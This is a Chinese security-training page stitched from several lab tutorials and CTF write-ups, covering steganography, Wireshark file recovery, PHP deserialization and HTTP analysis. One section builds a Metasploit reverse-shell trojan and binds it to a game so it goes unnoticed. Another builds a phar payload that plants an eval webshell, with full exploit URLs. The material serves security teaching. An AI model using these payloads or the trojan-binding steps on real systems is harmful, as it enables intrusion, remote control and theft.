CTF从入门到进阶之MISC
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
0x01:背景
CTF竞赛是安全圈喜闻乐见的竞赛模式,对于培养网络安全技术人才起到了很重要的作用。CTF起源于1996年DEFCON全球黑客大会,是Capture The Flag的简称。经过多年的发展,CTF这种比赛形式已经日益成熟。
CTF注重动手技能,深厚的理论功底厚积薄发,技术的卓越是建立在无数次训练的基础上,那么我们来看看有哪些不错的平台可以来用于比赛训练。
一般线上初选采用传统的夺旗赛模式,也就是在题目中设置一些标识,解题的目的就是为了找到标识并提交。通常包含的题目类型包括MISC、CRYPTO、PWN、REVERSE、WEB等。
MISC(Miscellaneous)类型,即安全杂项,题目或涉及流量分析、电子取证、人肉搜索、数据分析等等。
CRYPTO(Cryptography)类型,即密码学,题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术。
PWN类型,PWN在黑客俚语中代表着攻破、取得权限,多为溢出类题目。
REVERSE类型,即逆向工程,题目涉及到软件逆向、破解技术。
WEB类型,即题目会涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码执行等漏洞。
本系列文章将会逐一介绍这五大传统类型的题目的攻略及经典题目的WriteUp,以此来帮助对信安感兴趣的小伙伴们通过CTF竞赛的方式更好地学习、掌握信息安全相关技能。
0x02MISC介绍
我们先从五大模块中的最有意思最好玩的一块开始说起,那就是MISC。
MISC,中文即杂项,包括隐写,数据还原,脑洞、社会工程、与信息安全相关的大数据等。
竞赛过程中解MISC时会涉及到各种脑洞,各种花式技巧,主要考察选手的快速理解、学习能力以及日常知识积累的广度、深度。
MISC这一块并不像PWN\REVERSE等需要深厚的理论基础,所以我们直接从经典题目开始入手。
0x03说明
0x04部分为WP,作为给小伙伴们提供结题思路之用,如果想获得好的训练效果,请先不要看0x04部分。前往文章开篇给出的链接下载题目自己先动手试试。
0x04CTF仿真题WP
1.紧急报文
密文都由ADFGX,百度一下,发现有个ADFGX密码
密码表如图
对应着解密即可
FA XX DD AG FF XG FD XG DD DG GA XF FA
flagxidianctf
提交:flag_Xd{hSh_ctf:flagxidianctf}
2.flag.xls先介绍最简单的方法
直接仍在winhex中然后查找flag关键字即可
别的方法也是半斤八两,因为打开xls它要密码,所以我们就用notepad或者notepad++打开都行,在搜索flag就行了
3.图片里的动漫
一张图片而已,果断拉到kali里binwalk
看到了ZIP
于是后缀改为.zip打开,得到flag.rar,需要密码,再次binwalk
发现.JPEG,于是改格式为.jpeg,打开发现是七龙珠的图片
题目提示是小写英文字母,七龙珠的英文是dragon ball,提示发现错误
考虑到图片是倒着的,所以答案也是倒着的,即逆序,得到答案
CTF{llabnogard}
4.Canon
下载后解压是一段mp3和一个压缩文件,压缩文件打不开先放着,我们先处理mp3
misc肯定会涉及到隐写,处理mp3的隐写一般使用mp3Stego,但是处理时需要密码,试试用标题Canon
打开文件夹,发现
打开txt,里面的就是前面的压缩文件的解压密码
解压后里面有个txt,目测是base64,但是这么长的base64让你解密是不合理的,所以考虑可能是某种类型的某件缺了些代码,补上后再按照相应的格式打开就行了
txt文件提示我们是png格式,所以直接后缀改为.png用winhex打开看看,发现没有明显的文件头
所以我们给它添加,这里直接用Python来,顺便生成最后的图片
import base64
def foo():
f=open(‘C:\Users\hasee\Downloads\mimimi\zip\pic_png.txt’).read()
fsave=open(‘pic.png’,’wb’)
addHeader=”89 50 4E 47 0D 0A 1A 0A”.replace(’ ‘,”).decode(‘hex’)
fsave.write(addHeader)
fsave.write(base64.b64decode(f))
fsave.close()
pass
if name == ‘main‘:
foo()
print ‘ok’
pass
打开生成后的图片得到答案
当然,非要base64解密也行,解密后把看上去干净点的代码复制到word里查找CTF就得到答案了
5.ROT-13变身了
rot-13作为置换暗码的一种都是数字怎么可能,所以应该想到ascii
题目提示回旋13,我们-13就行了
python中的chr可以自动转换,我们由此跑python
????表示为未知,给我们的MD5也查不出来,所以只能自己爆破了,爆破的思路大概就是:
?作为ASCII的可见字符,范围在32-126,有95种可能,四个????所以有95^4中可能,每种排列出来后再进行MD验证
由此思想来跑PYHTON
得出答案
6.解码磁带
只有字符’o’和下划线’‘,不免让我们想起二进制,只有0和1,却能表示所有信息,所以我们尝试用0,1替换o和
而究竟0对于o还是_呢?我们有例子可以得到
跑Python的思路是这样子的,换成二进制后再转换成ascii,然后相应解码即可,也可以参考这张图片
直接用二进制对应字母
python结果如下:
按照格式提交即可
7.功夫秘籍
下载来的是一个压缩包,打开它。。。我的天,居然打不开。扔到winhex看看,发现是png
本来想直接改成png的,但是想到改了之后还是要winhex,干脆直接搜索key,flag等关键字,找到了
目测base64,解码
目测栅栏,解码
提交时只需要提交{}里面的内容就行了
8.WTF?
打开一看一堆乱七八糟的东西,不过拉到最下面发现有=,base64解之
得到01的组合
数了一下有65536 = 256*256
正方形是吧
那么尝试组个正方形出来
作图的话processing挺好用
扫一扫就出来了
9.社交网络
下载来的压缩文件需要密码,爆破之
解压后得到文件,右键查看属性,得到flag
10.有趣的文件
最前面的8位是地址,不用管,后面的应该是文件头,百度afbc 1c27
看样子应该是.7z的压缩文件,不过给出的acsii里面没有37 7a,这就是缺少的,需要我们补上
,补上后发现什么文件也不是,问题出在哪里呢?
百度后发现每两位应该交换一下
这个任务太繁重了,本来还想这放在winhex里面手工的,这里直接Python 吧
def revStr(s):
news=””
for i in xrange(0,len(s),4):
news+=s[i+2:i+4]
news+=s[i:i+2]
return news
def foo():
f=open(‘funfile’)
s=”377a”
for line in f:
s+=revStr(line.strip()[8:].replace(’ ‘,”))
fsave=open(‘fun.7z’,’wb’)
fsave.write(s.decode(‘hex’))
fsave.close()
pass
if name == ‘main‘:
foo()
print ‘finished’
自动生成fun.7z压缩文件,解压后是一张阿狸的图片,拖进winhex看看,发现疑似flag的base64加密过的
复制后base64解码就行了
0x05结语
看到这儿,小伙伴们是不是觉得MISC很有意思呢,由于MISC的类型比较多,难免挂一漏万,不过我还是尽可能多地给小伙伴提供各种花式姿(知)势(识)。
MISC之路,漫漫其修远兮,且行且珍惜。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Kali渗透Windows服务器
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
这个实验主要让我们学习漏洞扫描技术基本原理,了解其在网络攻防中的作用,掌握使用Kali中的Metasploit对目标主机渗透,并根据报告做出相应的防护措施。
本次实战环境:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015082709525300001
实战步骤一
本实验通过利用kali进行漏洞扫描,使用Metasploit对目标主机进行渗透测试,并根据报告做出相应的防护措施,共分为3个实验步骤,详情如下;
1、 实战步骤一:生成setup.exe后门程序,即木马程序。
(1) 打开kali终端,输入ifconfig, 得到本机ip为192.168.189.130。
如下图:
(2)输入以下命令,使用msfpayload生成名为setup的后门程序:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.189.130 x > setup.exe 如下图:
(3) 进入setup.exe所在目录,修改属性:选择“允许以程序执行文件”。
如下图所示:
(4) 终端中输入首先msfconsole;然后输入use exploit/multi/handler来加载 exploit/multi/handler 模块;输入set LHOST 192.168.189.130来设置本地主机;然后输入exploit -z -j开始监听,如下图所示:
实战步骤二
将上面生成的木马程序与某个软件进行捆绑。
(1)可以在windows系统下使用exe捆绑软件将setup.exe和一个其他的某个安全软件合并为一个软件,这样在运行软件时两个软件同时运行,不会引起注意。在tools里面进入名为exekunbang的文件,先打开ExeBinder.exe捆绑软件。选择第一个要合并的软件,默认选择本软件中自带的小游戏程序:
点击下一步,选择第二个要捆绑的软件,即之前生成的木马程序setup.exe:
点击下一步,选择一个文件要保存的路径:
继续点击下一步,开始捆绑软件:
(2) 将捆绑后的软件发送给目标主机。
实战步骤三
检测目标主机,对目标主机进行渗透测试。
(2) 目标主机执行程序后,在kali终端中的检测程序会及时检测到。在检测到目标主机运行程序后,后门程序会反向连接到msf,之后msf发起第二次攻击(开始渗透),然后客户端(后门程序)连接到服务端(msf)。输入sessionss:
可以看到目标主机的ip为192.168.189.129,
(2)再继续输入sessions -i 1,之后可以对目标主机进行一系列的操作。如输入sysinfo可知道目标主机的系统信息;输入 getuid查看对方正在运行的用户。
要养成多思考多总结的习惯,对实验结果多去分析,这样回收获更多。比如如何利用kali进行漏洞扫描;如何使用Metasploit对目标主机进行渗透测试;这些都是这次实战后可以去思考的。
这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!
wireshark之文件还原
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
本文涉及相关实验:wireshark之文件还原 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014122315591000001
实验目标:
黑客A通过ARP欺骗,使用wireshark获取了整个局域网内的网络流量信息。无意之中,他发现有人在某个网站上上传了一份文件。但是他不知道怎么样通过wireshark去还原这份文件,没办法,他将监听到的数据包保存为了一份wireshark的监听记录,打算去向你请教。你能帮助他找到那份上传的文件吗?
我们的任务分为3个部分:
1. 对抓到的包进行显示过滤,找到关键信息。
2. 对信息进行跟踪,确定上传文件的TCP流,并保存为二进制原始文件。
3. 对文件中上传文件的信息进行处理,去掉多余的包头和包尾,得到原始文件。
1.1 实验任务一
任务描述:使用wireshark导入监听数据包,对数据进行显示过滤,提取出来关键信息。
1. 打开catchme.pcapng,双击即可。会发现数据记录一共有148条。如果单纯的从开始到结尾去一条一条的审计,是非常费力的事情。而且实际操作过程中,148条记录,已经算是很少的了。
2. 好在wireshark为我们提供了强大的过滤显示功能。我们在filter中可以定义显示出来什么样的数据包。
3. 从题目我们可以明确,上传时访问的是个网站,因此我们需要进行协议过滤。在filter中输入http,表示我们要显示所有使用http协议的数据包。输入回车,或者点击旁边的APPLY按钮,就可以进行显示过滤。
从图上下方我们可以看到,数据包由原来的148个变成了32个。这样就很容易帮我们分析了。
4. 仔细分析,我们会在末尾左右的第143条数据记录中的info中看到upload这个词,我们怀疑这条就是涉及到上传的数据包。
如果你在此之前有些编写网站的经验,就会知道上传文件提交可以使用post一个表单的形式。所以,你也可以使用包过滤显示,选出所有使用post方法提交的数据包。我们可以输入http.request.method==”POST”进行包过滤。这时候的显示如下:
看到了吧,这时候只显示了唯一一条记录,就是我们刚才找到的序号为143的记录,是不是快了很多啊。因此,掌握数据包过滤,是熟练掌握wireshark的必备技能之一。
1.2 实验任务二
任务描述:确定POST这条数据包是否上传了文件,若存在则将数据dump出来。
1. 虽然我们看到了有upload关键字,有post方法,但是我们不能确定是不是真的就是上传文件的那个请求。我们来分析一下。双击该行。弹出协议分析框。点击+号,将子栏展开。
我们可以看到,确实是上传了文件,而且文件名是bingo.png.原来他上传的是一张图片。在上方红色部分,我们可以看到由于文件比较大,TCP协议对其进行了切片,一共切了5个片。我们点击下方的各个Frame,就可以看到每个包中的内容。
问题来了,能不能将这几个切片还原成一个流式会话,这样我们就能看到一个会话过程,而不是需要一个一个的去点击。
Wireshark还真可以做到。
2. 关闭这个界面,回到我们过滤后的那个POST包,右键Follow TCP Stream
这时候我们会看到:
整个会话都被还原了出来。我们看到了png的原始信息。继续往下拉,我们会看到有关蓝色的显示,这是服务器给我们的回应。我们的图片信息保存在请求部分,因此可以过滤掉响应部分。
因为文件肯定比响应大,所以我们选择6010那个。这时候就没有响应部分出现了。
3. 保存原始文件,以便下一步处理。我们已经知道,请求部分中包含了文件的原始信息。因此,我们可以先保存下来,然后处理一下,得到原始文件。
我们选择raw类型进行保存,表示使用二进制形式保存文件。
保存为任意格式的文件,这里我们保存为temp.bin
1.3 实验任务三
任务描述:
使用winhex对文件进行最终处理,并保存文件。
1. 将刚才保存的temp.bin用winhex打开。
会看到,文中包含请求信息和我们的图片信息,以及文件结尾的尾部信息。我们需要做的事情是确定图片文件的原始信息头和尾,去掉多余部分。
2. 回到wireshark中,会看到我们刚才的tcp stream流中,关于图片的头部分
在content-type: image/x-png后面有两个换行符,然后开始我们的原始文件。换行符用十六进制表示是 0D 0A.因为有两个,所以,我们在图片附近寻找0D 0A 0D 0A.后面的部分就表示图片的开始。
3. 回到winhex中,我们找到了上述数字
这时候我们需要去掉图片以上的部分。在00000000偏移处点击alt+1,表示选块开始。
在我们找到的0D 0A 0D 0A处的最后一个0A处点击alt+2.表示选块结束。这时候,我们就选中了图片之前的多余部分。
按下delete键,选择yes。
这时候文件中的多余头部已经被删除
4.回到wireshark中,我们看看图片传送完毕之后的尾部部分。
我们可以看到,这次是一个换行符。后面有些文件结束标志-------------,我们同样删除它们。
这时候我们的文件中就仅仅是原始图片的内容了。Ctrl+S保存。
最激动人心的一步来了。将我们的temp.bin改为temp.png.打开看下:
祝贺你,已经完成了我们本次实验,拿下神秘的key。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
老赛棍寒假复习计划——反序列化篇(一)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
本篇主要讲解过去一年来各大比赛中出现的比较典型的几个反序列化题目
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)
xnuca个人赛题目解析
复现环境:
链接:https://pan.baidu.com/s/1U_uDvgtzfFV165158xGE9A
提取码:7ryd
复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享
寒假难得有时间把这一年的比赛题目都好好整理一下,首先来的是xnuca个人赛的一道题目,比较新颖,属于中等难度的web phar写入和反序列化题目,貌似在其之后的DASCTF也考察了类似的知识点,因为时间实在久远,加上xnuca当时的一小部分源码实在是找不到了,就借用了DASCTF的部分代码来进行讲解,解题方式是一样的。
这道题目首先需要通过变量覆盖来利用file_get_contents读取template.php,然后通过template.php写入phar进行反序列化。
考点一:变量覆盖
首先是一个index.php
<?php
error_reporting(E_ALL);
$sandbox = './' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
} else {
echo "Please choice one template to reader";
}
?>
extract变量覆盖。原理是:extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。
正常的用法通常用于把数组的值转化为变量,就好像把数组一个个解压出来成为变量一样,是不是很像extract的意思:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
这样就会把数组$my_array里面的键值和对应键名组合成为一个变量,等同于再次赋值
以前ctf考察的点基本都是如下形式的变量覆盖:
extract($_GET);
关于这个地方变量覆盖的原理,就要提到一个很关键的基础知识点,$GET,$POST,$REQUEST这三个全局变量的类型是数组(不信的话自己var_dump一下),实际上我们通过get输入的变量名会成为$GET数组里的键名,输入的变量值会成为$GET里的键值,因此extract函数才会由我们的get输入接收到了$GET这个数组,从而产生了变量覆盖。
本题目的写法为:
extract($_GET['var'], EXTR_OVERWRITE);
EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
这个地方乍一看好像是说$_GET['var']这个变量,而不是数组,但是之前也有考察过如果通过get或者post方式输入一个数组的ctf题(没错,就是绕过md5比较的php黑魔法),只要我们在get或者post输入的变量的后面加上[],就代表我们输入的是一个数组。
例如下面就代表我们输入了一个数组
http://IP?var[]=a
把$_GET变量全dump出来为:
array(1) { ["var"]=> array(1) { [0]=> string(1) "a" } }
说白了,就是把$_GET这个数组变量里键名为var的这个元组的键值设置为了一个数组,这个数组是:
array(1) { [0]=> string(1) "a" }
所以实际上我们还是可以通过题目中的
extract($_GET['var'], EXTR_OVERWRITE);
来进行变量覆盖。例如:
http://IP/?var[template][tp1]=aaa
这样就能将已经赋值过的template变量重新赋值为一个只含有一个元组且键名为tp1的数组
之前
array(3) {
["tp1"]=>
string(7) "tp1.tpl"
["tp2"]=>
string(7) "tp2.tpl"
["tp3"]=>
string(7) "tp3.tpl"
}
之后
array(1) {
["tp1"]=>
string(3) "aaa"
}
这里很多人有个误区:为啥不是单独覆盖template数组里的一个tp1,而是覆盖了全部呢?
因为?var[template][tp1]=aaa
等同于输入了
$template=array('tp1'=>'aaa');
而不是
$template = array('tp1'=>'aaa','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
所以是全部覆盖
我们看到第一个文件index.php里面还有一个file_get_contents,想到可以文件读取。
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
} else {
echo "Please choice one template to reader";
}
思路:
$template[$tp]为我们要读取的文件名
$_GET["tp"] ——> $tp可控
array_key_exists判断$tp在$template数组中是否存在
存在则读取$template[$tp]指向的文件
所以我们
?var#=文件名&tp=a
这样template数组就剩一个a,然后他的值为我们要读取的文件名,然后tp等于a,读取$template[$tp]所指向的文件,也就是$template['a'],即我们变量覆盖进去的文件名。
访问得到
u can see ur html file in f187b1e39a106780507c0f5c399da8c1/594f803b380a41396ed63dca39503542.html
访问一下路径看到template.php源码,这里file_get_content读取到的并不是直接显示,而是被template.php写入到了某个地方,但是这个算是第一步的提示,直接访问就看到了template.php的源码,读完以后也会更理解整个过程。
<?php
error_reporting(0);
class Temp {
public $suffix;
public $content;
public $pattern;
public function __construct($content) {
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}
public function __destruct() {
$this->render();
}
public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else {
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "u can see ur html file in " . $filename;
}
}
?>
最关键的方法是我们的render(因为另外两个一个是构造方法用来给三个属性赋值,一个是析构方法用来触发render)
他做了两件事情
模板变量替换
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else {
break;
}
}
这一步的工作用一句话概括为:"用$content里匹配到的字符串的同名变量,来替换$content本身的内容"
可能乍一看看不懂,没事我们来分析:
也就是说,当你输入的内容里面含有{{([a-z]+)}}的时候,他会提取{{}}里面的字符串,然后去判断他是否为一个已经声明的全局变量,如果是的话则导入到方法中,并且用这个全局变量的值去替换$content的值。
例如搭建一个本地环境
当你输入http://ip?content={{a}},则返回如下结果
匹配输入,含有{{([a-z]+)}},其中$matches为
Array ( [0] => {{a}} [1] => a )
global用于将函数外部的一个全局变量导入函数内,题目中这句代码在render方法内,所以为了使用方法外的全局变量,得加一个global
global ${$matches[1]};
#探测外部是否有需要名字为$matches[1]的变量,
然后preg_replace将content里的$matches[1]给替换为那个变量的值
实际上这是个啥呢,就是我们很常见的模板变量替换,比如说你的前端有一个{{a}},然后你后端检测前端代码的时候,就拿后端的a变量的值替换这个{{a}}里面a所在的位置。类似flask那种模板变量替换。
说白了就是,这段代码或者这道题应该是某个真实的cms上的代码阉割的,然后出成题目,并保留了当时的部分冗余代码。所以才留下了这个模板替换。(就是没啥用的意思,逃:)
写入文件
render做的第二件事情就是写入文件
首先给出了一个限制:
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
这段代码保证了你写入的后缀不能超过5个字符,虽然没什么用。
真正写文件的的代码在这里:
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "u can see ur html file in " . $filename;
这里思路
自 PHP 5.2.0 起 data:(» RFC 2397)数据流封装器开始有效。data://text/plain;base64,加上文件内容的base64编码
变量覆盖,然后file_get_content读取我们输入的data流,然后被写入
file_get_contents触发phar
phar文件:
<?php
class Temp {
public $suffix;
public $content;
public $pattern;
}
@unlink("phar.phar");
#固定老四句,除非你要修改phar文件头部,或者想压缩一个webshell,压缩的攻击通常用于lfi+phar
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar->addFromString('test.txt','test'); //添加要压缩的文件
#实例化和修改属性的主要代码
$object = new Temp();
$object->suffix=".php";
$object->content="<?=eval(\$_POST['cmd']); ";
$object->pattern="{{([a-z]+)}}";
#固定老两句
$phar->setMetadata($object); //将自定义meta-data存入manifest
$phar->stopBuffering();
读取文件内容的base64可以用如下方式:
先php运行exp.php,生成phar.phar文件。
php -a 进入php交互式界面。
php > echo file_get_contents("php://filter/convert.base64-encode/resource=phar.phar");
R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw/PWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAAdGVzdC50eHQEAAAAyokbYAQAAAAMfn/YpAEAAAAAAAB0ZXN0tLvtt2MIggia
然后url编码,因为=和+号在url里面不能直接用,会被当作有意义的字符
第一步
http://IP/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw%2FPWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAA
回显
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html
第二步 通过file_get_contents触发phar
http://IP/?var[template][tp1]=phar://upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html&tp=tp1
回显
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/d41d8cd98f00b204e9800998ecf8427e.htmlu can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
第三步
http://IP/upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
就是写入的webshell
这题还可以用远程文件读取,把phar文件放在自己公网服务器上,然后让题目读取,就不用data://协议写入,因为file_get_contents没有限制不能读取外部文件
http://IP/?var[template][tp1]=http://IP/phar.phar&tp=tp1
但是xnuca他个人赛的时候没有网络,所以这个方法行不通,但是DASCTF可以用这个方法。
总的来说,难度适中,主要一个是知道他这里可以任意文件读取和读取以后直接写入这个是关键,phar倒是没有什么难度,如何在没有外网的情况下通过data://流写入是关键。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
Wireshark数据抓包分析之HTTP协议
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
科普贴:
HTTP 是一个无状态的协议。无状态 是指客户端 (Web 浏览器)和 服务器之间不 需要建立持久的链接。这 意味着当一个客户端向服务器端发出请求,然后Web 服务器返回响应 ”*”(response) ,连接就被关闭了,在服务器端不保留连接的有关信息 .HTTP 遵 循请求 (Request)/ 应答 (Response) 模型。客户端(Web 浏览器) 向Web 服务器发送请求, Web 服务器处理请求并返回适当的应答。所有 HTTP 连 接都被构造成一套请求和应答。在 该过程中 要经过4 个 阶段,包括建立连接、发送请求信息、发送 响应信息和关闭连接,如下图所示:
下面 详细介绍上图中描述的HTTP 工作流程,如下
客户端 通过TCP 三次握手与服务器建立连接。
TCP 建立连接成功后,向 服务器发送HTTP 请求。
服务器 接收客户端的HTTP 请求后,将返回应答,并向客户端发送数据
客户端 通过TCP 四次断开,与服务器断开 TCP 连接。
在今天的实验中,我们将通过模拟局域网的两台机器之间的数据传输,配置好HFS软件,来抓取和分析HTTP数据。
根据实验环境,本实验的步骤如下:
1. 配置HFS 软件,获取 HTTP 的 GET数据和POST 数据
2. 分析HTTP数据包
实战步骤一 配置HFS软件,获取HTTP的GET数据和POST数据
在 局域网环境中,我们使用一个小工具来实现HTTP 服务器。先在 服务器上配置HFS
1 配置HFS软件
本地 解压,进入 文件夹,右键以管理员身份运行。如下
我们 先配置HFS ,这里能 达到我们的实验 要求,获取到GET 和 POST 数据包即可。点击左上角 的端口 ,输入 端口,这里我们用8080 , 如下,点击确定
在 虚拟文件系统区域,右键,选择“从磁盘 添加目录”, 选择一个真实 存在的目录(此处注意务必是真实存在的 ),弹出 的选择目录类型 中选择”真实 目录” ,此处 我们用桌面的解压缩目录, 可以看到目录 是红色的
右键 目录,点击设置”用户名及 密码”, 在弹出的对话框中输入 用户名和密码(demo/demo ), 点击 确定。
在右键 目录,点击”属性”, 选择”上传”sheet页 ,选中 任何人。点击确定,这样我们 就配置好了HFS 工具,可以在 客户端通过浏览器访问了。
2 获取HTTP的GET数据和POST数据
下面 我们在测试者 机器上,打开Wireshark 抓包工具, 过滤条件输入ip.addr == 10.1.1.33 ,然后输入服务器 中HFS给出 的网址,等待 服务器响应。成功 之后,可以在测试者机器的 浏览器上看到页面, 如下:
这时候, 我们已经获取 到了HTTP 的 GET 方法。 我们将Wireshark 获取的数据包保存为 HTTP-Get。
点击 页面的登录,在对话框中输入用户名密码(demo/demo ),确定 之后等待 服务器响应。成功 如下
接下来 ,双击页面的文件夹(等待 服务器响应), 同时重新启动Wireshark ,等 待页面刷新成功,
如 上图,会 在左侧 看到按钮 ,点击”上传”按钮 ,选择 文件,这里我们选择桌面上的“http-post.txt”,点击 上传。等待 服务器响应。提示 上传成功,如下
我们保存 抓包文件 ,名字 为HTTP-Post。 任务一,就 到这里。
实战步骤二 分析HTTP数据包
1 HTTP报文格式
HTTP 由请求和响应 两部分组成,所以对应的也有两种报文格式。下面分别 介绍HTTP 请求报文格式和 HTTP响应 报文格式。
HTTP 请求报文格式
以上 表格中,第1 行 为“ 请求行” , 第2 、3、4 行为 “请求 头部”, 第5 行 为空行,第6 行 为“请求 正文”。 下面分别 介绍这4 部分:
(1) 请求 行:由3部分组成,分别为:请求方法、URL(见备注1)以及协议版本,之间由空格分隔, 请求方法包括GET、POST等。 协议版本的格式为:HTTP/主版本号.次版本号,常用的有HTTP/1.0和HTTP/1.1。
(2) 请求头部包含很多客户端环境以及请求正文的有用信息。请求头部 由“关键字 :值”对 组成,每行一堆,关键字和值之间使用英文“:”分隔。
(3) 空行,这一行非常重要,必不可少。表示请求头部结束,下面就是请求正文。
(4) 请求正文: 可选部分,比如GET 请求就没有请求正文;POST 比如以提交表单数据方式为请求正文。
HTTP 响应报文格式
以上 表格中,第1 行 为“状态 行” , 第2 、3、4 行为 “响应 头部”, 第5 行 为空行,第6 行 为“响应 正文”。 下面分别 介绍这4 部分:
(1) 状态 行由 由3部分组成,分别为:协议版本,状态码,状态码描述,之间由空格分隔。 状态代码为3位数字,200~299的状态码表示成功,300~399的状态码指资源重定向,400~499的状态码指客户端请求出错,500~599的状态码指服务端出错(HTTP/1.1向协议中引入了信息性状态码,范围为100~199)。这里列举几个常见的:
状态码 说明 200 响应成功 400 客户端请求有语法错误,不能被服务器识别 404 请求资源不存在 500 服务器内部错误 (3) 空行,这一行非常重要,必不可少。表示响应头部结束(4) 响应 正文,服务器返回的文档,最常见的为HTML网页。
2 HTTP的头域
在HTTP的 请求消息 和应答消息中,都包含头域。头域 分为4 种 ,其中请求 头域和应答头域分别只在请求消息和应答消息中出现,通用头域和实体头域在两种消息中都可以出现,但实体头域只有当 消息中包含了实体数据时 才会出现。下面分别 介绍这4 种 头域中的域名城和功能。
HTTP请求头域
Header 解释 Accept 指定客户端能够接收的内容类型 Accept-Charset 浏览器可以接受的字符编码集。 Accept-Encoding 指定浏览器可以支持的web服务器返回内容压缩编码类型。 Accept-Language 浏览器可接受的语言 Accept-Ranges 可以请求网页实体的一个或者多个子范围字段 Authorization HTTP授权的授权证书 Cache-Control 指定请求和响应遵循的缓存机制 Connection 表示是否需要持久连接。(HTTP 1.1默认进行持久连接) Cookie HTTP请求发送时,会把保存在该请求域名下的所有cooki
应答 头域只在应答消息中出现,是Web 服务器向浏览器提供的一些状态和要求。如下
HTTP 应答头域
Header 解释 Accept-Ranges 表明服务器是否支持指定范围请求及哪种类型的分段请求 Age 从原始服务器到代理缓存形成的估算时间(以秒计,非负) Allow 对某网络资源的有效的请求行为,不允许则返回405 Cache-Control 告诉所有的缓存机制是否可以缓存及哪种类型 Content-Encoding web服务器支持的返回内容压缩编码类型。 Content-Language 响应体的语言 Content-Length 响应体的长度 Content-Location 请求资源可替代的备用的另一地址 Content-MD5 返回资源的MD5校验值 Content-Ran
